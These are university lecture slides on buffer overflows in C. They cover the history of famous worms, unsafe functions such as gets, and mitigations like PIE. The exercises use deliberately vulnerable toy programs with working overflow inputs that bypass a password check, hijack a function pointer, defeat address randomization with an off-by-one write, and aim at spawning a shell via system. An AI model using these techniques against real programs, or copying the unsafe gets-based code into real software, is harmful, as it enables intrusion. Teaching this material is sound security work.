

# Buffer Overflow

Sicurezza (CT0539) 2024-25  
Università Ca' Foscari Venezia

Riccardo Focardi

[www.unive.it/data/persone/5590470](http://www.unive.it/data/persone/5590470)  
[secgroup.dais.unive.it](http://secgroup.dais.unive.it)

# Introduction

**Buffer overflow** is one of the **most common vulnerabilities**

- caused by “**careless**” programming
- known **since 1988** but still present

# Introduction

Why still there ...

Can be avoided, in principle, by writing **secure code**

- non-trivial in “**unsafe**” languages, e.g., C
- **legacy** application/systems might have overflows

⇒ **mitigation** mechanisms are important!

# Brief history of some famous overflows

**1988** The **Morris Internet Worm** used a buffer overflow exploit in **fingerd**

**1995** A buffer overflow in **httpd 1.3** was discovered and published on the Bugtraq mailing list

**1996** "[Smashing the Stack for Fun and Profit](#)" in Phrack magazine (a step by step **introduction**)

**2001** Code Red worm exploited a buffer overflow in **Microsoft IIS 5.0**

**2003** Slammer worm exploited a buffer overflow in **Microsoft SQL Server 2000**

**2004** Sasser worm exploited an overflow in Microsoft Windows 2000/XP, **Local Security Authority Subsystem Service** (LSASS).

# Definition

A buffer **overflow** (**overrun** or **overwrite**), is defined as follows [[NISTIR 7298](#)]:

A condition at an interface under which **more input** can be placed into a buffer or data holding area **than the capacity allocated**, **overwriting** other information.

Attackers **exploit** such a condition to

- **crash** a system
- insert specially crafted **data** that break integrity
- insert specially crafted **code** to gain control of the system

# Safe vs. unsafe languages

C is fast but unsafe!

Like Assembly:

👍 **full access** to resources

👍 high **performance**

⇒ used to develop Unix. Still the preferred language for **low-level programming** (OS, device drivers, firmware, ...)

Differently from Java, Python, Haskell, ... has **weak types**

👎 low-level, **unsafe access** to data is possible

👎 programmer's **responsibility** to enforce safe execution in many cases (**overflows** are possible)

👎 many **unsafe library functions**

# Example: buffer overflow

```
#include <string.h>
#include <stdio.h>

char buffer1[8]="one"; // buffer of size 8 initialized with "one"
int value = 5;
char buffer2[8]="two"; // buffer of size 8 initialized with "two"

int main(int argc, char *argv[]) {
    printf("[BEFORE] buffer1 @ %1$p = %1$s\n", buffer1);
    printf("[BEFORE] value @ %1$p = 0x%2$08x\n", &value, value);
    printf("[BEFORE] buffer2 @ %1$p = %1$s\n", buffer2);

    printf("Please enter your input: ");
    gets(buffer1); // reads input into buffer1, whatever length!
    printf("\n");

    printf("[AFTER] buffer1 @ %1$p = %1$s\n", buffer1);
    printf("[AFTER] value @ %1$p = 0x%2$08x\n", &value, value);
    printf("[AFTER] buffer2 @ %1$p = %1$s\n", buffer2);
}
```

Two **buffers** of size 8 and an **integer** value in between

Shows addresses and values **before** reading

**Reads** into buffer 1

Shows addresses and values **after** reading

# Example: buffer overflow

```
$ ./overflow
```

```
[BEFORE] buffer1 @ 0x6b90f0 = one  
[BEFORE] value @ 0x6b90f8 = 0x00000005  
[BEFORE] buffer2 @ 0x6b9100 = two
```

Note: addresses are sequential, every 8 bytes (even if value is 4 bytes!)

```
Please enter your input: prova
```

input from terminal is written into buffer1

```
[AFTER] buffer1 @ 0x6b90f0 = prova  
[AFTER] value @ 0x6b90f8 = 0x00000005  
[AFTER] buffer2 @ 0x6b9100 = two
```

```
$ echo "prova" | ./overflow
```

```
[BEFORE] buffer1 @ 0x6b90f0 = one  
[BEFORE] value @ 0x6b90f8 = 0x00000005  
[BEFORE] buffer2 @ 0x6b9100 = two
```

we can pass input using **echo** and a pipe

```
Please enter your input:
```

```
[AFTER] buffer1 @ 0x6b90f0 = prova  
[AFTER] value @ 0x6b90f8 = 0x00000005  
[AFTER] buffer2 @ 0x6b9100 = two
```



# Example: buffer overflow

```
$ echo "AAAAAAA" | ./overflow
```

7 A's, fits buffer1

...

```
[AFTER] buffer1 @ 0x6b90f0 = AAAAAAA
[AFTER] value   @ 0x6b90f8 = 0x00000005
[AFTER] buffer2 @ 0x6b9100 = two
```

7 A's with terminating 0x00

```
$ echo "AAAAAAA" | ./overflow
```

8 A's, "\x00" overflows ...

...

```
[AFTER] buffer1 @ 0x6b90f0 = AAAAAAAA
[AFTER] value   @ 0x6b90f8 = 0x00000000
[AFTER] buffer2 @ 0x6b9100 = two
```

8 A's in buffer1

value overwritten with 0x00 (little-endian!)

```
$ echo "AAAAAAAA" | ./overflow
```

9 A's, "A\x00" overflows ...

...

```
[AFTER] buffer1 @ 0x6b90f0 = AAAAAAAAA
[AFTER] value   @ 0x6b90f8 = 0x00000041
[AFTER] buffer2 @ 0x6b9100 = two
```

9 A's in buffer1

value overwritten with 0x41 ('A') (0x00 is the second byte)

# Example: buffer overflow

```
$ echo "AAAAAAAAAAAA" | ./overflow
```

```
...  
[AFTER] buffer1 @ 0x6b90f0 = AAAAAAAAAAAA  
[AFTER] value @ 0x6b90f8 = 0x41414141  
[AFTER] buffer2 @ 0x6b9100 = two
```

12 A's, "AAAA\x00" overflows ...

12 A's in buffer1  
value fully overwritten by 0x41  
not overwritten (8 bytes from value)

```
$ echo "AAAAAAAAAAAAAAAA" | ./overflow
```

```
...  
[AFTER] buffer1 @ 0x6b90f0 = AAAAAAAAAAAAAAAA  
[AFTER] value @ 0x6b90f8 = 0x41414141  
[AFTER] buffer2 @ 0x6b9100 =
```

16 A's, "AAAAAAA\x00" overflows ...

16 A's in buffer1  
value fully overwritten by 0x41  
"\x00" overwrites buffer2

```
$ echo "AAAAAAAAAAAAAAAAA" | ./overflow
```

```
...  
[AFTER] buffer1 @ 0x6b90f0 = AAAAAAAAAAAAAAAA  
[AFTER] value @ 0x6b90f8 = 0x41414141  
[AFTER] buffer2 @ 0x6b9100 = A
```

17 A's, "AAAAAAA\x00" overflows ...

17 A's in buffer1  
value fully overwritten by 0x41  
"A\x00" overwrites buffer2

# Example: buffer overflow

\$ **echo** "AAAAAAAAAAAAAAAAAAAAAAAA" | ./overflow 24 A's, 16 A's and "\x00" overflows ...

...  
[AFTER] buffer1 @ 0x6b90f0 = AAAAAAAAAAAAAAA  
[AFTER] value @ 0x6b90f8 = 0x41414141  
[AFTER] buffer2 @ 0x6b9100 = AAAAAAAAA  
24 A's in buffer1  
value fully overwritten by 0x41  
8 A's in buffer1

\$ **echo** "AA" | ./overflow 40 A's

...  
[AFTER] buffer1 @ 0x6b90f0 = AAAAAAAAAAAAAAA  
[AFTER] value @ 0x6b90f8 = 0x41414141  
[AFTER] buffer2 @ 0x6b9100 = AAAAAAAAAAAAAAAAAAAAAAAAA  
24 A's

\$ **echo** "AAA" | ./overflow 41 A's

...  
[AFTER] buffer1 @ 0x6b90f0 = AAAAAAAAAAAAAAA  
[AFTER] value @ 0x6b90f8 = 0x41414141  
[AFTER] buffer2 @ 0x6b9100 = AAAAAAAAAAAAAAAAAAAAAAAAA  
25 A's  
Segmentation fault **Segfault** (we overwrite an address and break the computation)

# Unsafe C functions

```
$ gcc overflow.c -o overflow --no-pie --static
overflow.c: In function 'main':
overflow.c:23:3: warning: implicit declaration of function 'gets'; did you mean 'fgets'?
[-Wimplicit-function-declaration]
    gets(buffer1);
    ^~~~
    fgets
/var/tmp/ccdFZ2CG.o: In function `main':
overflow.c:(.text+0x6d): warning: the `gets' function is dangerous and should not be used.
```

Function `gets` is **unsafe** and **should never be used** (cannot limit user input!)

**Note:** `gets` has been removed from `stdio.h`, so compiling gives a warning but program works anyway (**legacy** code needs to be supported)

# Exercise: bypass password check

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char buffer1[8]="....."; // buffer of size 8 for input
char buffer2[8]="sEgr3t0"; // buffer of size 8 initialized with the password

int main(int argc, char *argv[]) {
    printf("Insert password: ");
    gets(buffer1); // reads the user password, no check on length!
    // compares buffers
    if (strcmp(buffer1, buffer2) == 0) {
        printf("Authenticated!\n");
        exit(EXIT_SUCCESS);
    } else {
        // leaks the password for debugging!
        printf("Wrong password: buffer1(%s), buffer2(%s)\n",buffer1,buffer2);
        exit(EXIT_FAILURE);
    }
}
```

# Exercise: bypass password check

```
$ echo "sEgr3t0" | ./overflow-pwd
Insert password: Authenticated!
```

```
$ echo "aaaaaaa" | ./overflow-pwd
Insert password: Wrong password:
buffer1(aaaaaaa), buffer2(sEgr3t0)
```

**Task:** authenticate with a string different from "sEgr3t0"

**Note:** when password is wrong both buffers are dumped to help "debugging" the attack

**Hint:** to send bytes you can use

echo with -e option

```
$ echo -e "\x41\x42\x43\x44"
ABCD
```

or

python with -c option

```
$ python -c "print '\x41\x42\x43\x44'"
ABCD
```

# Solution

It is enough to overflow the buffer with a string that writes the **very same password** on both `buffer1` and `buffer2`

To this aim it is necessary to insert a **0x00 byte** after the two copies of the password, so that `buffer1` is correctly terminated

## Example:

```
$ echo -e "AAAAAA\x00AAAAAA" | ./overflow-pwd  
Insert password: Authenticated!
```

Both `buffer1` and `buffer2` contain string "AAAAAA", correctly terminated

The attack is possible because of the **buffer overflow** on `gets`

Changing the control flow



# Effects of overflows

We have seen that overflows can clearly affect the **integrity** of other variables, which affects the program behaviour

**Example 1:** we have overwritten a stored password

**Example 2:** we might overwrite an index in order to point to different memory area

Is it possible to directly modify the program **control flow**?

If we overwrite

- a function pointer
- the program code

⇒ this directly affects the **program control flow** by executing unexpected code

# Example

```
typedef struct element {  
    char data[16];  
    void (*f)(char *);  
} element_t;
```

The struct has a buffer data and a function pointer f

The buffer data is allocated **right before** the function pointer f

⇒ Overflow **overwrites the pointer!**

A possible usage:

```
element_t e;  
e.f = legitimate_function;  
...  
e.f(e.data);
```

At some point the function is **invoked** on the data (e.g., to display data)

⇒ Overflow enables execution of a different function on any data!

# Complete example

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

typedef struct element {
    char data[16];
    void (*f)(char *);
} element_t;

void secret_function() {
    printf("Secret function!\n");
}

void show_data(char *s) {
    printf("Data = %s\n", s);
}

int main(int argc, char *argv[]) {
    element_t e;
    e.f = show_data; // legitimate function

    printf("Insert data: ");
    gets(e.data); // reads data, unsafe!

    // ... when we need to show data ...
    // invokes e.f on e.data
    e.f(e.data);
}
```

# The attack

1. Compile the program **disabling PIE** (we will discuss this next)  
  
⇒ Notice the **warning** about gets!
2. Find the address of the target function  
Use gdb to find the **address** of **secret\_function** (notice that this function is never invoked by the program)
3. Craft a suitable input that makes the program **invoke secret\_function** (when you succeed you will see the output “Secret function!”)

# Disabling PIE

**Position Independent Executable (PIE)** are programs that can be executed at any memory location

Modern OSs use PIE to **randomize** the position of programs in memory

⇒ The aim is to **mitigate the attack** we are discussing now!

In the program position is randomized function addresses change and it becomes harder to exploit overflow to jump to specific code

We **disable PIE** in order to try the (simple) attack:

```
$ gcc overflow-struct.c -o overflow-struct --no-pie --static
```

# Find the address of target function

Once PIE is disabled we can use gdb to find the address of function

```
$ gdb -q overflow-struct
Reading symbols from overflow-struct...(no debugging symbols found)...done.
```

```
(gdb) x/x secret_function
0x400b4d <secret_function>: 0xe5894855
```

```
(gdb) disass secret_function
Dump of assembler code for function secret_function:
```

```
    0x0000000000400b4d <+0>:  push    %rbp
    0x0000000000400b4e <+1>:  mov     %rsp,%rbp
```

```
...
```

```
(gdb)
```

The address `0x400b4d` can be easily found with `x` or by disassembling

# Attack payload

We want to overwrite the function pointer `f` of the struct:

```
typedef struct element {  
    char data[16];  
    void (*f)(char *);  
} element_t;
```

1. We insert 16 A's to full the data buffer
2. We insert the target address `0x400b4d` in order to overwrite `f`

**Note1:** the address is **8 bytes** (64 bits) so it is, in fact, `0x0000000000400b4d`

**Note2:** addresses are represented *little-endian*: `4d 0b 40 00 00 00 00 00`

# Attack payload

We first check with 15 and 16 A's to observe the overflow: with 16 A's the **NULL byte** modifies the function pointer and breaks execution!

```
$ echo -e "AAAAAAAAAAAAAAAA" | ./overflow-struct  
Insert data: Data = AAAAAAAAAAAAAAAAAA
```

```
$ echo -e "AAAAAAAAAAAAAAAA" | ./overflow-struct  
Illegal instruction
```

We just add the **target address** (little-endian):

```
$ echo -e "AAAAAAAAAAAAAAAA\x4d\x0b\x40\x00\x00\x00\x00" | ./overflow-struct  
Insert data: Secret function!
```



# Is address randomization the final solution?

PIE and address randomization  
**prevent** the previous attack

However:

1. Attacks are still possible when we can modify **single address bytes** (see next example)
2. The **leak** of one address might allow for computing any address (offsets are constant!)

Randomizing the position of programs in memory reduces a lot the **attack surface** so it is a very important **security mechanism**

⇒ Never **disable** it!

However, it does not secure any program: overflows, in many cases, **can be still exploited!**

# Off-by-one bug

A typical bug is to **overflow by a single byte**, because of erroneous index check

```
printf("Insert data: ");  
memset(e.data, 0, sizeof(e.data));  
  
for (i=0; i<=sizeof(e.data) && (c=getc(stdin))!= EOF && c != '\n'; i++) {  
    e.data[i] = c;  
}
```

⇒ It is possible to overflow a single byte (no NULL char in this case)

Let us see how functions are relocated in memory:

```
printf("show_data = %p, secret_function = %p\n", show_data, secret_function);
```

# Randomization “preserves” offsets

```
$ echo -e "AAAAAAAAAAAAAAAA" | ./overflow-struct-offbyone  
Insert data: Data = AAAAAAAAAAAAAAAAAA  
show_data = 0x560bfd9287dd, secret_function = 0x560bfd9287ca
```

```
$ echo -e "AAAAAAAAAAAAAAAA" | ./overflow-struct-offbyone  
Insert data: Data = AAAAAAAAAAAAAAAAAA  
show_data = 0x56260d01f7dd, secret_function = 0x56260d01f7ca
```

```
$ echo -e "AAAAAAAAAAAAAAAA" | ./overflow-struct-offbyone  
Insert data: Data = AAAAAAAAAAAAAAAAAA  
show_data = 0x5646872967dd, secret_function = 0x5646872967ca
```

```
$ echo -e "AAAAAAAAAAAAAAAA" | ./overflow-struct-offbyone  
Insert data: Data = AAAAAAAAAAAAAAAAAA  
show_data = 0x55f42b85f7dd, secret_function = 0x55f42b85f7ca
```

⇒ Last 12 bits are fixed! Functions only differ by the **last byte!** ... any idea? 😊

# Off-by-one exploitation

It is enough to **overwrite the last byte** with `0xca` (which is the **first in memory** because of *little-endianness*):

```
$ echo -e "AAAAAAAAAAAAAAAA\xca" | ./overflow-struct-offbyone
Insert data: Secret function!
show_data = 0x560975daa7dd, secret_function = 0x560975daa7ca
```

The attack works with **PIE and randomization enabled** because the other bytes are untouched

Basically, we only “shift” the pointer to the target function by modifying only the last byte!

# Exercise: arbitrary code execution

1. Add a call to `system` in the code right before function invocation, so that it is linked to the program

```
system("date");  
e.f(e.data);
```

2. Compile the program disabling PIE as done before

```
gcc overflow-struct-system.c -o overflow-struct-system --no-pie --static
```

3. Try to make the program invoke `system` with an arbitrary command, e.g., `system("/bin/ls")` (Notice that `e.data` is passed to the function!)

In principle you should be able to spawn a shell with `system("/bin/sh")`